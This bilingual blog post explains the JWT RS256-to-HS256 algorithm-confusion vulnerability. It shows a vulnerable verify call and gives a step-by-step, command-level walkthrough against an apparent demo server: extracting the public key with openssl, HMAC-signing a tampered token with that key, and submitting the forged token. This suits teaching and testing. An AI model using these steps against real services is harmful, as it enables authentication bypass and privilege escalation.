JWT令牌安全漏洞解析与防范-CSDN博客

本文揭示了一种针对JWT令牌的安全攻击，攻击者通过篡改令牌中的算法字段，将RS256改为HS256，利用公开的公钥进行签名，欺骗后端验证。解决方案包括使用单一加密算法和针对不同算法实现独立的验证函数。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

For Educational Purposes Only! Intended for

仅用于教育目的！旨在用于 ~~Hackers~~ Penetration testers. 黑客渗透测试人员。

问题 (Issue)

The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.

HS256算法使用密钥对每个消息进行签名和验证。 RS256算法使用私钥对消息进行签名，并使用公钥进行身份验证。

If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature. Asymmetric Cipher Algorithm => Symmetric Cipher Algorithm.

如果将算法从RS256更改为HS256，则后端代码将使用公钥作为私钥，然后使用HS256算法来验证签名。非对称密码算法=>对称密码算法。

Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.

由于攻击者有时可以获取公共密钥，因此攻击者可以将标头中的算法修改为HS256，然后使用RSA公共密钥对数据进行签名。

The backend code uses the RSA public key + HS256 algorithm for signature verification.

后端代码使用RSA公钥+ HS256算法进行签名验证。

例 (Example)

Vulnerability appear when client side validation looks like this:

客户端验证如下所示时，将出现漏洞：

const decoded = jwt.verify(
   token,
   publickRSAKey,
   { algorithms: ['HS256'  , 'RS256'] }          //accepted both algorithms 
)

Lets assume we have initial token like presented below and " => " will explain modification that attacker can make:

假设我们有如下所示的初始令牌，“ =>”将解释攻击者可以进行的修改：

//header 
{
alg: 'RS256'                         =>  'HS256'
}
//payload
{
sub: '123',
name: 'Oleh Khomiak',
admin: 'false'                       => 'true'
}

The backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.

后端代码使用公共密钥作为私钥，然后使用HS256算法来验证签名。

攻击 (Attack)

1. Capture the traffic and valid JWT Token (NCC Group example)

1.捕获流量和有效的JWT令牌(NCC组示例)

eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg

2. Decode token with Burp Decoder

2.使用Burp解码器解码令牌

The structure is header.payload.signature with each component base64-encoded using the URL-safe scheme and any padding removed.

结构为header.payload.signature，其中每个组件使用URL安全方案进行base64编码，并删除了所有填充。

{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}

3. Modify the header alg to HS256

3.将标题alg修改为HS256

{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}

4. Convert back to JWT format

4.转换回JWT格式

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0

Header and payload ready to go :)

标头和有效负载已准备就绪:)

5. Copy server certificate and extract the public key

5.复制服务器证书并提取公钥

All that’s missing is the signature, and to calculate that we need the public key the server is using. It could be that this is freely available.

所缺少的就是签名，并计算出我们需要服务器使用的公钥。这可能是免费提供的。

openssl s_client -connect <hostname>:443

Copy the “Server certificate” output to a file (e.g. cert.pem) and extract the public key (to a file called key.pem) by running:

通过运行以下命令，将“服务器证书”输出复制到文件(例如cert.pem)并提取公共密钥(到名为key.pem的文件)：

openssl x509 -in cert.pem -pubkey –noout > key.pem

Let’s turn it into ASCII hex:

让我们将其转换为ASCII十六进制：

cat key.pem | xxd -p | tr -d "\\n"

By supplying the public key as ASCII hex to our signing operation, we can see and completely control the bytes

通过将公钥作为ASCII十六进制提供给我们的签名操作，我们可以看到并完全控制字节

echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:2d2d2d2d2d424547494e205055424c4943204b45592d2d2d2d2d0a4d494942496a414e42676b71686b6947397730424151454641414f43415138414d49494243674b4341514541716938546e75514247584f47782f4c666e344a460a4e594f4832563171656d6673383373745763315a4251464351415a6d55722f736762507970597a7932323970466c3662476571706952487253756648756737630a314c4379616c795545502b4f7a65716245685353755573732f5879667a79624975736271494445514a2b5965783343646777432f68414633787074562f32742b0a48367930476468317765564b524d382b5161655755784d474f677a4a59416c55635241503564526b454f5574534b4842464f466845774e425872664c643736660a5a58504e67794e30547a4e4c516a50514f792f744a2f5646713843514745342f4b35456c5253446c6a346b7377786f6e575859415556786e71524e314c4748770a32473551524532443133734b484343385a725a584a7a6a36374872713568325341444b7a567a684138415733575a6c504c726c46543374312b695a366d2b61460a4b774944415141420a2d2d2d2d2d454e44205055424c4943204b45592d2d2d2d2d0a

The output – that is, the HMAC signature – is:

输出-即HMAC签名-为：

db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f

A one-liner to turn this ASCII hex signature into the JWT format is:

将这种ASCII十六进制签名转换为JWT格式的方法是：

python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"

The output is our signature:

输出是我们的签名：

2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

Simply add it to our modified token:

只需将其添加到我们的修改令牌中：

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8

6. Submit altered token to the server.

6.将更改的令牌提交给服务器。